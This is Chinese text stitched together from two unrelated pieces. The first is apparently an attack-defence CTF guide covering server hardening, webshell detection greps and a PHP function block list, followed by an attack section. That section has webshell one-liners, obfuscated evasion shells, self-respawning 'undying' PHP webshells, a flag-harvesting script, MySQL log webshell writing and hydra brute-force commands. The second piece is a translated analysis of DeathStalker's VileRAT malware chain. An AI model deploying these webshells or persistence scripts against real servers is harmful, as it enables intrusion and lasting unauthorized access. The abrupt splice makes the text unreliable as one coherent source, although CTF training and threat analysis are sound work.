  1. 445加固,开启防火墙或IP高级安全策略
  2. 开启系统日志审计功能
  3. 禁用guest账户、关闭文件共享
  4. 确保启动项内容是可控的
  5. 限制3389远程访问控制的连接数:在本地组策略编辑器里面,依次展开计算机配置-->管理模板-->Windows组件-->远程桌面服务-->远程桌面会话主机-->连接-->限制连接的数量
  6. 使用工具监控关键目录文件:文件操作监控.exe、御剑文件监控.exe
  7. 恶意代码文件,通过PCHunter、Monitor查找
  8. Web目录环境查找相关可疑文件:jpg/png/rar,查看属性、解压看文件内容
  9. NTFS扫描磁盘查找隐藏的交换流数据
  10. 查找系统所有账户信息,禁止非Administrator账户
  11. 修改Web站点管理员访问路径、默认口令、数据库口令
  12. 安装WAF脚本,防护Web站点,禁止其他漏洞

2.0.2 Linux加固流程

先备份:Web源码、数据库

  1. 系统口令修改,团队统一口令
  2. 通过 .bash_history 查找历史命令操作,发现痕迹
  3. 查看计划任务:crontab -l;编辑计划任务:crontab -e
  4. 查看 /etc/init.d/rc.local 中启动服务有无异常
  5. 使用脚本开启进程监控、目录监控、流量监控
  6. Web站点口令,站点管理员路径修改
  7. 系统加固:iptable

2.1# 基本信息搜集

在防守的时候,信息搜集也很重要,正所谓“知己知彼,百战不殆”

2.1.1 明确Linux机器信息

uname -a                       //系统信息
ps -aux                        //查询进程信息
ps -ef | grep 进程名称         //筛选指定进程
id                             //用于显示用户ID,以及所属群组ID
cat /etc/passwd                //查看用户情况
ls /home/                      //查看用户情况
find / -type d -perm -002      //可写目录检查
ifconfig                       //Linux上查看网卡信息

2.1.2 明确Windows机器信息

whoami /all                    //Windows上查看用户详细信息
ipconfig  /all                 //Windows上查看网卡信息

2.1.3 查看开放端口

netstat                                                       //查看活动连接
netstat -ano/-a                                               //查看端口情况
netstat -anp                                                  //查看端口
firewall-cmd --zone= public --remove-port=80/tcp –permanent   //关闭端口
firewall-cmd –reload                                          //防火墙重启

2.1.4 默认口令(弱口令)更改

为了防范弱口令攻击,Mysql密码默认都是root,phpstudy默认密码123456

还有其他默认密码admin,top100, top1000等

尤其是WEB应用的后台密码修改

passwd username                                                  //ssh口令修改
set password for mycms@localhost = password('18ciweufhi28746');  //MySQL密码修改
find /var/www//html -path '*config*’                             //查找配置文件中的密码凭证

2.1.5 找本地Flag

grep -r "flag" /var/www/html/  //Linux:在Web目录下查找flag
findstr /s /i "flag" *.*       //Windows:当前目录以及所有子目录下的所有文件中查找"flag"这个字符串

2.1.6 设置禁Ping

echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all     //临时开启禁ping
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all     //关闭禁ping

2.2# Web安全加固

2.2.1 备份源码

防止在对源码进行修改时出问题,或者被攻击方删除源码而准备

压缩源码:

tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html

解压缩源码:

tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html

备份源码:

mv web.tar /tmp
mv web.zip /home/xxx

上传和下载源码:

scp username@servername:/path/filename /tmp/local_destination  //从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path             //从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir          //从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir           //从本地上传整个目录到服务器

2.2.2 设置只读权限

对Web文件设置只读和执行权限(PHP等动态语言需要执行权限)

chmod 0555 /var/www/html/*
chmod 0555 /var/www/html/*.php

Web根目录设置只读和执行权限

chmod 0555 /var/www/html

改变文件的属主和属组来设置严格的权限

chown -R root:root /var/www/html/        //设置拥有人为 root:root 或 httpd:httpd (推荐)
chown -R apache:apache /var/www/html/    //确保 apache 拥有 /var/www/html/

2.2.3 配置 .htaccess

利用 .htaccess 配置文件禁止php文件执行

<Directory "/var/www/html/upload">   //指定目录后续的指令将应用于该目录
Options -ExecCGI -Indexes            //禁用了目录中的 CGI 执行和目录索引(显示目录内容列表)功能。
AllowOverride None                   //不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml  
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml      
//这两个指令移除指定文件扩展名的处理器和类型。
//在这种情况下,这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含(SSI)文件类型。
php_flag engine off     //这个指令将 PHP 的引擎标志(engine)设置为关闭状态,从而禁用了在该目录中执行 PHP 脚本的能力。
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
deny from all
</FilesMatch>  //这三行命令使用正则表达式匹配了以 .php、.phtml、.php3、.pht、.php4、.php5、.php7、.shtml 结尾的文件,并将其访问权限设置为拒绝所有
</Directory>

2.2.4 PHP参数安全配置

首先找到PHP的配置文件

/etc/php/{version}/php.ini

禁用高危函数

disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link

配置 open_basedir (将用户访问文件的活动范围限制在指定的区域)

open_basedir=/var/www/html

禁用魔术引号(自动对外部来源数据进行转义,防止SQL注入)

magic_quotes_gpc = Off

关闭PHP伪协议

allow_url_fopen = Off
allow_url_include = Off

重启PHP

sudo service php7.0-fpm restart
sudo systemctl restart php7.0-fpm.service

2.3# 数据库安全加固

2.3.1 Mysql加固

为了防范弱口令攻击,Mysql密码默认都是root,phpstudy默认密码123456

  1. 不使用默认口令,修改成复杂的,并确保和web环境连接
  2. 设置只允许本地127.0.0.1账户登录:修改 bind-address=127.0.0.1 ;在配置文件中加入 seccure_file_priv=NULL
  3. 开启日志审计功能:general_log_file=路径

因为最常用的是Mysql数据库,所以基本的攻防大部分都是用MySql数据库的命令

备份指定数据库:

mysqldump –u username –p password databasename > target.sql

备份所有数据库:

mysqldump –all -databases > all.sql

导入数据库:

mysql –u username –p password database < from.sql

对于MySQL的攻防,可以看这篇文章:https://blog.zgsec.cn/archives/26.html

MySQL默认配置文件路径:

C:\\Program Files\MySQL\MySQLServer 5.1\my.ini   //Windows
/etc/my.cnf                                      //Linux
/etc/mysql/my.cnf                                //Linux

修改 secure_file_priv 参数(日志功能的对应目录)

secure_file_priv=""

重载MySQL配置

FLUSH PRIVILEGES

重启MySQL服务

sudo service mysql restart
sudo systemctl restart mysql

2.3.2 Mssql加固

  1. 删除不必要的账号
  2. SQLServer用户口令安全
  3. 根据用户分配帐号避免帐号共享
  4. 分配数据库用户所需的最小权限
  5. 网络访问限制
  6. SQLServer登录审计
  7. SQLServer安全事件审计
  8. 配置日志功能

2.4# 远程控制加固

2.4.1 SSH安全加固

限制IP登录方法

sudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件
AllowUsers username@192.168.0.100    //找到并编辑以下行,确保其取消注释并设置为所需的IP地址

禁用 root 远程登录

sudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件
PermitRootLogin no                   //将PermitRootLogi设置为“no”

按用户和组限制SSH登录

sudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件
AllowUsers testuser                  //设置只允许 testuser 登录SSH
AllowUsers testuser@192.168.1.100    //设置只允许 192.168.1.100 的机器用 testuser 账户登录SSH
AllowGroups test                     //设置用户组白名单
//需要注意的是:如果同时指定了 AllowUsers 与 AllowGroups 那么必须要在两个选项中都匹配到的用户才能进行SSH登录

重启SSH服务

sudo service sshd restart
sudo systemctl restart sshd.service

2.4.2 RDP远程登录安全加固

删除默认帐户并手动添加新用户:

  • 步骤1:按 Win + R 打开运行对话框,输入 secpol.msc 并单击 “确定”
  • 步骤2:导航至此处:本地策略-->用户权限分配,再双击打开 “允许通过远程桌面服务登录”
  • 步骤3:删除此窗口中列出的管理员和远程桌面用户(或计算机上的任何其他用户或组)
  • 步骤4:之后单击 “添加用户或组” 并手动添加您要授予远程桌面访问权限的用户

更改默认RDP端口号:

  • 步骤1:打开运行对话框,输入 regedit 并单击 “确定”
  • 步骤2:打开 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp ,向下滚动并找到 PortNumber 然后双击它
  • 步骤3:选择 “十进制”,修改为您想要设置的端口号,然后单击 “确定”

2.5# 应急响应

2.5.1 查询进程线程

netstat
ps -aux
netstat -apt

2.5.2 杀掉进程

kill -9 pid            //Linux上
taskkill /f /pid pid   //Windows上

2.5.3 搜索WebShell文件

find /var/www/html -name *.php -mmin -5                        //查看最近5分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u                  //寻找行数最短文件,一般有可能是一句话木马
grep -r --include=*.php  '[^a-z]eval($_POST'  /var/www/html    //查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more //在Linux系统中使用find、grep和xargs命令的组合,用于在指定目录(/var/www/html)下查找所有以.php为扩展名的文件,并搜索这些文件中包含字符串"eval("的行,并使用more命令来分页显示结果以便在输出较长时进行逐页查看

2.5.4 查杀不死马

也可以利用命令自动进行查找删除

ps -aux | grep www-data | grep -v grep | awk '{print $2}' | xargs kill -9

然后重启服务

service php-fpm restart

2.5.5 杀弹反弹shell

老规矩查看进程

ps -ef
px -aux
ps -aux | grep www-data

注意 www-data 权限的 /bin/sh,很有可能是nc

再就是上老一套命令

kill ps -aux | grep www-data | grep apache2 | awk '{print $2}'

3# 自由攻击环节(Attack)

3.0# 主要准备内容

  1. 各类CMS软件包最新版准备
  2. 扫描工具:Nmap、Nessus、Metasploit更新
  3. 漏洞利用脚本Poc、Exp

3.1# 基本信息搜集

3.1.1 主机信息搜集

Nmap

namp -sn 192.168.0.0/24            //C段存活扫描

httpscan

httpscan.py 192.168.0.0/24 –t 10   //C段存活扫描

3.1.2 端口扫描

nmap -sV 192.168.0.2               //扫描主机系统版本
nmap -sS 192.168.0.2               //扫描主机常用端口
nmap -sS -p 80,445 192.168.0.2     //扫描主机部分端口
nmap -sS -p- 192.168.0.2           //扫描主机全部端口

Python脚本

import requests

for x in range(2,255): 
    url = "http://192.168.1.{}".format(x) 
    try: 
        r = requests.post(url) 
        print(url) 
        except: 
        pass

3.2# 外部打点

3.2.0 常见系统漏洞

  • MS17-010(永恒之蓝,可看https://blog.zgsec.cn/archives/172.html)
  • MySQL进行UDF提权(SQL注入或者MySQL弱口令)
  • MsSQL进行系统命令执行(SQL注入或者MsSQL弱口令)
  • SSH弱口令或默认口令
  • PWN(这个要看具体AWD比赛提供的内容了)

3.2.1 中间件漏洞

  • IIS(解析漏洞、远程代码执行)
  • Apache(解析漏洞)
  • Nginx(解析漏洞)
  • Jboss(CVE-2017-7504/CVE-2017-12149/CVE-2015-7501)
  • Mysql(弱口令)
  • Tomcat(弱口令Getshell)
  • Weblogic(CVE-2020-2551/CVE-2020-2555/CVE-2020-2883)
  • SpringBoot(未授权访问漏洞和RCE漏洞,具体可看https://blog.zgsec.cn/archives/129.html)

3.2.2 集成服务环境漏洞

  • wampserver
  • xamppserver

3.2.3 CMS漏洞利用

搜集最新版本的CMS,以及对应的漏洞Poc和Exp,这里仅仅列举部分CMS:

  • Aspcms
  • Dedecms
  • Dicuz
  • Drupal
  • Empirecms
  • Eshop
  • Finecms
  • Joomla
  • Lamp
  • Metainfo
  • Phpcms
  • Phpwind
  • Qibocms
  • Seacms
  • Semcms
  • ThinkPHP
  • Wolfcms
  • Wordpress
  • Zabbix

备份文件爆破:使用7kbScan等目录扫描工具对Web系统进行爆破

3.2.4 上传WebShell

常见一句话木马

PHP: <?php @eval($_POST['pass']);?>      <?php eval($_GET['pass']);
Asp:   <%eval request ("pass")%>
Aspx:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

Get型木马

<?php eval($_GET['pass']);           //利用方式/shell.php?pass=eval($_POST[1]);

免杀马制作:https://github.com/AabyssZG/WebShell-Bypass-Guide

<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);                            //执行GET传参 ?_=system&__=whoami 来执行whoami命令
<?=~$_='$<>/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}[_](@${$___}[__]);   //执行GET传参 ?_=assert 和POST传参 __=PHP代码来GetShell

隐藏的文件读取

<?php
header(php'flag:'.file_get_contents('/flag'));

条件允许的话,将flag信息直接读取并返回到header头中,这样做不易被发现

3.2.5 利用WebShell

curl(跟hackbar差不多)

C:\Users\admin>curl "http://192.168.182.130:8801/include/shell.php" -d "admin_ccmd=system('cat /f*');"
//向shell.php文件里传入参数并返回结果

Python多端口传参

#coding=utf-8
import requests

url_head="http://192.168.182.130"   #网段
url=""
shell_addr="/upload/url/shell.php" #木马路径
passwd="pass"                   #木马密码
#port="80"
payload = {passwd: 'System(\'cat /flag\');'}
# find / -name "flag*"

#清空上次记录
flag=open("flag.txt","w")
flag.close()
flag=open("flag.txt","a")

for i in range(8000,8004):
    url=url_head+":"+str(i)+shell_addr
    try:
        res=requests.post(url,payload)#,timeout=1
        if res.status_code == requests.codes.ok:
            result = res.text
            print (result)
            flag.write(result+"\n") 
        else:
            print ("shell 404")
    except:
        print (url+" connect shell fail")

flag.close()

3.2.6 MySQL数据库利用

具体可以看这篇文章:https://blog.zgsec.cn/archives/26.html

1、查看MySQL版本

show variables like '%version%';
select version();      #这个只显示MySQL版本号

2、查看 load_file() 开启状态

show variables like '%secure%';       #这条可查看详细信息
show global variables like '%secure_file_priv%';

3、查看日志功能是否开启和对应目录

SHOW VARIABLES LIKE 'general%';
set global general_log = "ON";
set global general_log_file='/var/www/html/test.php';   #可以写入WebShell然后直接连接蚁剑

# 往日志里面写入 WebShell
select '<?php @eval($_POST['AabyssTeam']);?>';
# 此时已经写到 test.php 文件当中了,注意这个要知道网站的具体路径才可以实现

小技巧:获取MySQL账户和对应密码Hash

# MySQL <= 5.6 版本
select host, user, password from mysql.user;

# MySQL >= 5.7 版本
select host,user,authentication_string from mysql.user;

3.2.7 弱口令爆破

爆破SSH密码

hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ssh
hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100
hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100 -s 40      //40是⽬标服务开放的端⼝

爆破FTP密码

hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ftp
hydra -L 用户名字典.txt -P 密码字典.txt ftp://192.168.1.100/

爆破RDP远程桌面密码

hydra 目标IP地址 rdp -l administrator -P 密码字典.txt -V

爆破Telnet

hydra 目标IP地址 telnet -l 用户字典.txt -P 密码字典.txt -f -V

爆破MSSQL数据库

hydra -l sa -P 密码字典.txt 目标IP地址 mssql

爆破MySQL数据库

hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 mysql

3.3# 内网渗透

3.3.1 权限维持之不死马

简单不死马:

<?php
set_time_limit(0);   //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将后台运行
unlink(__FILE__);     //删除自身

while(1)
{
    file_put_contents('shell.php','<?php @eval($_POST["AabyssTeam"]);?>');  //创建shell.php
    sleep(0);    //间隔时间
}

可以通过不断复写 shell.php 来达到该木马难以被使用的效果

防连接不死马:

<?php
set_time_limit(0);   // 取消脚本运行时间的超时上限
ignore_user_abort(1);  // 

while(1)
{
    file_put_contents('shell.php','<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>');  //创建shell.php
    sleep(0);
}

//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');

进阶不死马:

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';

while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2020-12-01 09:10:12" shell.php');  //修改时间,防止被删
    usleep(5000);
}
?>

//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');

将这个文件上传到服务器,然后进行访问,会在该路径下一直生成一个名字为 shell.php 的WebShell文件

双重不死马:

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '/admin/.register.php'; 
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';

while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2020-12-01 18:10:12" .login.php');
    file_put_contents($file1,$code);
    system('touch -m -d "2020-12-01 18:10:12" /admin/.register.php');
    usleep(5000);
}
?>

//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');

浏览器访问写入的WebShell,会自动生成两个不死马: .login.php 和 /admin/.register.php

3.3.2 关键文件检索

组件检索

find / -name "apaech2.conf"                 //检索Apache主配置文件
find / -name "nginx.conf"                   //检索Nginx目录
find / -path "*nginx*" -name nginx*conf     //检索Nginx配置目录
find / -name "httpd.conf"                   //检索Apache目录
find / -path "*apache*" -name apache*conf   //检索Apache配置目录

网站首页

find / -name "index.php"                    //定位网站目录
find / -name "index.html"                   //定位网站目录

日志文件检索

/var/log/nginx/                           //默认Nginx日志目录
/var/log/apache/                          //默认Apache日志目录
/var/log/apache2/                         //默认Apache日志目录
/usr/local/tomcat/logs                    //Tomcat日志目录
tail -f xxx.log                           //实时刷新滚动日志文件

3.3.3 Linux提权

查询系统版本信息命令:

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release

查询内核版本信息命令:

uname -a
uname -mrs
cat /proc/version
cat /etc/issue
lsb_release -a
hostnamectl  
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz

查看系统环境变量命令:

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

查看语言环境信息命令:

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
set

查看文件上传环境信息命令:

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

这里列举一些可用利用的提权漏洞:

  • CVE-2023-0386(Linux OverlayFS权限提升漏洞)
  • CVE-2021-4034(Linux Polkit本地权限提升漏洞)
  • CVE-2017-6074 (DCCP双重释放漏洞 > 2.6.18 )
  • CVE-2016-5195(脏牛,kernel 2.6.22 < 3.9 (x86/x64))
  • CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8)
  • CVE-2017-1000367(sudo本地提权漏洞 )
  • CVE-2016-1247(Nginx权限提升漏洞)
  • CVE-2017-16995(Ubuntu16.04 kernel:4.14-4.4)

Kali命令查询:

searchsploit CentOS 7
searchsploit Ubuntu 16.04

提权Exploit寻找:

  • http://www.exploit-db.com
  • http://metasploit.com/modules/
  • http://securityreason.com
  • http://seclists.org/fulldisclosure/
  • https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main

编译提权Exp

gcc -o /usr/share/nginx/html/***** /usr/share/nginx/html/*****.c -Wall

直接提权,确认权限:

cat /etc/shadow

其他提权姿势:https://www.freebuf.com/articles/system/244627.html

3.3.4 Windows提权

这里列举一些Windows的漏洞:

  • 各种Potato(Github上面基本都有)
  • CVE-2023-35359(Windows内核权限提升漏洞,开源了)
  • CVE-2022-24521(没有Exp的可以找我要)
  • CVE-2019-1405
  • CVE-2019-1322
MS17-017(整型溢出漏洞)
转载于原文: https://forum.butian.net/share/2536

vilerat_featured-1200x600.jpg

早在2020年8月下旬,就有研究人員發布了DeathStalker的活動報告,包括Janicab、Evilnum和PowerSing活動。同時,在2020年8月,研究人員還首次發布了一份關於VileRAT的私人報告。 VileRAT是一種Python植入程序,是專門針對外彙和加密貨幣交易公司一種高度複雜的攻擊活動,其幕後攻擊者就是DeathStalker。

自2020年6月首次被發現以來,DeathStalker確實不斷利用和更新其VileRAT工具鏈來對付相同類型的目標。而且DeathStalker最近可能會加大力度使用此工具鏈來破壞目標。自2022年3月以來,研究人員已經識別出更多與VileRAT相關的惡意文件和新基礎設施的示例,這可能是攻擊嘗試增加的徵兆。

VileRAT的初始攻擊和工具集介紹早在2020年夏天,DeathStalker的VileRAT的攻擊就包括發送給外匯公司的魚叉式網絡釣魚電子郵件。如果目標上鉤,假冒的角色會在某個時候根據請求提供指向託管在GoogleDrive上的惡意文件的鏈接(偽裝成PDF或ZIP存檔的Windows快捷方式文件),作為身份證明文件,然後,惡意鏈接將觸發任意系統命令的執行,以釋放無害的誘餌文檔,以及我們稱為VileLoader的惡意且非常複雜的二進制加載程序。

至少從2021年末開始,攻擊技術略有變化,但最初的攻擊媒介仍然是惡意消息:通過電子郵件向目標發送Word文檔。 2022年7月,攻擊者利用嵌入在目標公司公共網站中的聊天木馬向目標發送惡意DOCX。

1.png

惡意DOCX的釣魚消息

DOCX文檔經常使用“合規性”或“投訴”關鍵字來命名,這表明攻擊者正在回答識別請求或表達某個問題作為發送它們的理由。

至少從2021年底開始,最初的攻擊和工具集部署如下圖所示。

2.png

VileRAT攻擊和工具集概述

秘密執行VileDropper最初的DOCX攻擊文檔本身是無害的,但它包含指向另一個惡意和啟用宏的DOTM文檔的鏈接作為“遠程模板”。打開DOCX時,Word會自動下載這些DOTM文件,如果收件人啟用了執行,則會觸發其嵌入的宏。

3.png

DOCX中包含的惡意遠程模板

惡意DOTM遠程模板利用VBAstomping技術來隱藏嵌入式宏的代碼。 VBAstomping使可編輯的VBA源代碼(即宏的可見代碼)不同與實際執行的代碼。這是可能的,因為可編輯源代碼和被稱為p-code的經過轉換的內部版本都嵌入在啟用宏的文檔中。由於使用了VBAstomping,將要執行的真正宏代碼對標準工具(MicrosoftWord的宏編輯工具以及OLETools)是隱藏的。

這種技術有一個嚴重的限制:隱藏的宏(即內部p代碼)只有在啟用宏的文檔使用生成它的相同Office版本打開時才能執行。否則,隱藏的宏將無法運行,而將執行可見的宏。在最後一種情況下,DeathStalker確保它會向用戶彈出一條消息。但最重要的是,DeathStalker確保將多個攻擊文檔變體傳播給目標,每個變體都針對特定的Office版本進行準備。

4.jpg

惡意DOTM遠程模板中的VBAstomping失敗

在任何情況下,可見和隱藏的宏都會下載一張圖片來取代感染文檔中的社會工程消息,並欺騙讀者相信某些事情失敗了。

5.png

執行宏時下載的圖像示例

然而,在後台,如果VBAstomping有效,嵌入DOTM的宏會使用WMI靜默收集有關安裝在目標計算機上的安全產品的信息,將它們發送到命令和控制(C2)服務器,解碼並釋放文件,然後最終執行我們稱為VileDropper的惡意混淆JavaScript(JS)後門。

嵌入DOTM的宏本身已經揭示了一些有趣且具體的技術。它被輕微混淆,因為大多數文本字符串都是XOR編碼的,其密碼源自一個句子,例如,“OperatesCatholicsmalltownspueblosTwoof”。

6.png

DOTM嵌入宏中的XOR解碼函數

XOR解碼算法看起來非常接近過去在PowerPepper工具鏈的VBS加載程序腳本中使用的算法,而且看起來合法的函數名也讓人想起PowerPepper宏中使用的函數名,例如'insert_table_of_figures','change_highlight_color'等。

7.png

PowerPepperVBS加載程序中的XOR解碼函數(MD5DB6D1F6AB887383782E4E3D6E4AACDD0)

嵌入DOTM的宏從編碼數據中解碼並刪除兩個文件(在“%APPDATA%”文件夾中:“Redist.txt”和“ThirdPartyNotice.txt”,或“pattern.txt”和“changelog.txt”)存儲在不可見的TextBox表單中。利用Office對象屬性作為隱藏數據源也是之前採用的技術。

8.png

用作惡意DOTM文檔中數據存儲的TextBox表單,如Microsoft的VBA編輯器所示

另一個值得注意的特性是,嵌入DOTM的宏通過向固定的C2URL發送HTTPGET請求來指示執行過程中的進展或錯誤。有趣的是,VBA宏中的所有HTTP請求都是使用遠程圖片插入函數觸發的。

9.png

嵌入DOTM的宏利用“AddPicture”作為Web客戶端

在任何情況下,嵌入DOTM的宏最終都會觸發VileDropper的執行,使用“WScript”解釋器的重命名副本(“%APPDATA%”文件夾中的“msdcat.exe”或“msgmft.exe”),使用如下命令作為:

10.png

“changelog.txt”是VileDropper,“91”是VileDropper用來解碼異或數據的密碼的一部分,“pattern.txt”是一個包含VileLoader的編碼包。

VileDropper:一個過度混淆的任務調度器在DeathStalker錯綜複雜的VileRAT攻擊鏈中還有一個VileDropper。它是一個混淆的JavaScript文件,主要釋放和調度下一階段的執行:VileLoader。

11.png

VileDropper代碼的原始形式

第一次運行VileDropper至少需要兩個參數,第三個參數可以用作觸發特定環境執行變化的標誌,具體取決於安裝在目標計算機上的安全產品:

第一個是部分密碼(用於解碼XOR編碼的數據),第二個是一個編碼的有效負載文件的路徑(包含VileLoader及其配套的shellcode)。

VileDropper還會檢查它的解釋器和文件名,如果它沒有按計劃調用,則立即停止執行,這可能是為了規避沙箱檢測:

12.png

VileDropper中的反混淆執行檢查

VileDropper的確切執行流程取決於目標計算機上安裝的安全產品,但大多數時候,它將自己複製到另一個文件,重新啟動自己,並刪除其原始副本。在執行VileDropper期間:

1.收集有關目標環境的附加數據(使用WMI)以及生成目標標識符並將它們發送到C2服務器;

2.解碼並釋放VileLoader及其編碼的結果shellcode。文件名和位置會因示例而異,但他們被放在一個看似合法的公共文件夾“%APPDATA%”(例如,“exe”和“dev0Y11ZF.tmp”在“%APPDATA%\Microsoft\PrinterSettings\Printers\”)下。

3.安排一個任務在35到65秒後運行VileLoader,之後每3小時45分鐘運行一次。

使用預設的User-Agent(C2的URL和User-Agent的變化取決於VileDropper的示例),VileDropper使用一個HTTPGET請求將數據發送到C2服務器到一個固定的URL(例如,“hxxp://hubflash[.]co/admin/auth.php”)。有用的信息被存儲為一個JSON項,然後該文檔被xor編碼、base64編碼、url編碼,並被設置為HTTP請求中的cookie值:

JSON 項和內容(JSON 值)如下:

1.u,目標標識符:標識符是目標登錄(%USERNAME% 環境變量)和計算機UUID(在WMI 查詢的第一個結果中獲得的類似UUID 的自定義表示形式:SELECT UUID FROM Win32_ComputerSystemProduct)。然後這個類似UUID 的值是base64 編碼和URL 編碼的。由於標識符生成邏輯的固定長度和填充,標識符的最終形式總是48 個字符長。

2.d,一個硬編碼的VileDropper 標識符,它可能指定一個活動或版本(例如,“9745B355”)。

3.a,安裝在目標計算機上的安全產品(WMI 中的AntiVirusProduct)名稱列表,以豎線符號(|) 分隔,然後是XORed、base64 編碼和URL 編碼。

4.n,目標的完全限定登錄,作為“%USERDOMAIN%\%USERNAME%”的shell擴展,然後進行異或、base64 編碼和URL 編碼。

5.w ,目標的操作系統版本,從WMI 查詢SELECT Version FROM Win32_OperatingSystem 返回,然後是base64 編碼和URL 編碼。

由VileDropper調度的任務(其名稱因樣例而異,如“CDS同步”或“UpdateModel任務”)會觸發以下類型的執行命令:

14.png

命令行中方括號之間的字符(例如[u])指定相應JSON項的內容,即[u]是編碼的目標標識符。

在繼續討論VileLoader之前,請注意VileDropper使用XOR編碼方案來保護髮送到C2服務器的數據,因為類似的方案將在以後使用。該算法生成的數據塊佈局如下,有時還會進一步進行base64編碼和URL編碼:

類型一:

15.png

生成的blob是自給自足的,並且可以由接收者解碼,而無需訪問預共享密鑰。在VileDropper中,作為JavaScript混淆的一部分編碼的字符串受益於額外的異或:嵌入數據blob中的異或密鑰還使用特定於腳本的固定密碼進行了異或,此固定密碼的一部分被傳遞給VileDropper在攻擊鏈中的前一個DOTM宏執行的命令行上,另一部分在VileDropper中硬編碼。

後來,VileLoader和VileRAT使用該算法的其他變體。

類型二:

16.png

類型三:

17.png

類型四:

18.png

VileLoader:一個多階段植入程序下載器VileLoader它自2020年第2季度就被公佈,首次公開記錄為dddp.exe,但此後一直在不斷更新和維護,並且在撰寫本文時仍然部署在VileDropper上。 VileLoader的主要目標是從C2服務器下載並執行額外的有效負載。雖然我們只觀察到它觸發了VileRAT的執行,但加載程序在技術上可以下載並執行其他植入程序。

最近的VileLoader示例是由一個二進制可執行文件(第1階段)和一個編碼的配套shellcode文件(第2階段)組成。以前的VileLoader示例通常將shellcode直接嵌入到二進制可執行文件中,並將呈現為單個整體文件。

第1階段:修改二進制解包器VileLoader最初是作為二進制可執行文件呈現的,它確保第1階段執行。這個二進製文件始終是合法的,被攻擊者精心修改以集成惡意解包器類型的有效負載。因此,從快速自動靜態代碼分析的角度來看,二進製文件可能看起來是合法的,它包含合法應用程序的所有代碼,但不會按預期工作。這個“解包器”階段旨在解碼、加載和執行內存中的第2階段。

VileLoader的工作流程從等待17秒開始。然後它解析命令行參數。命令行必須至少包含五個參數,否則VileLoader會終止執行。在實踐中,VileDropper通常會向VileLoader提供七個參數,正如我們之前所描述的。 VileLoader然後打開其編碼的附帶的shellcode文件。其名稱作為第二個參數傳遞給VileLoader,例如,“devENX1C6SS.tmp”,使用第二個類型的XOR算法讀取並解碼它,將去混淆數據映射到一個區域中讀取、寫入和執行(RWX)權限,並通過啟動新線程來運行下一階段(第2階段)。

VileLoader的第1階段包含非常獨特的“簽名”技術,自我們在2020年第二季度分析的第一個示例以來一直很穩定:

利用“Sleep”和“GetTickCount”Windows API函數來生成隨機的等待延遲。這些函數以一種不尋常的方式解析:通過從當前二進制映像的開頭引用硬編碼偏移量,這些偏移量直接指向合法可執行文件的導入地址表(IAT)中的條目;

VileLoader的編碼附帶的shellcode文件的解包和加載利用了多個自定義系統調用,這些調用類似於針對不同Windows版本的低級WindowsAPI函數(NTDLL):NtOpenFile、NtReadFile、NtAllocateVirtualMemory、NtCreateThreadEx和NtWaitForSingleObject。

19.png

VileLoader的第1階段自定義系統調用

然而,雖然舊示例通過解析和調用專用WindowsAPI函數(例如“GetCommandLineW”)來解析命令行參數,但最近的示例直接從它們自己的PEB(進程環境塊)結構中讀取此信息。這樣做可能是為了更好地繞過對某些安全解決方案的檢測。

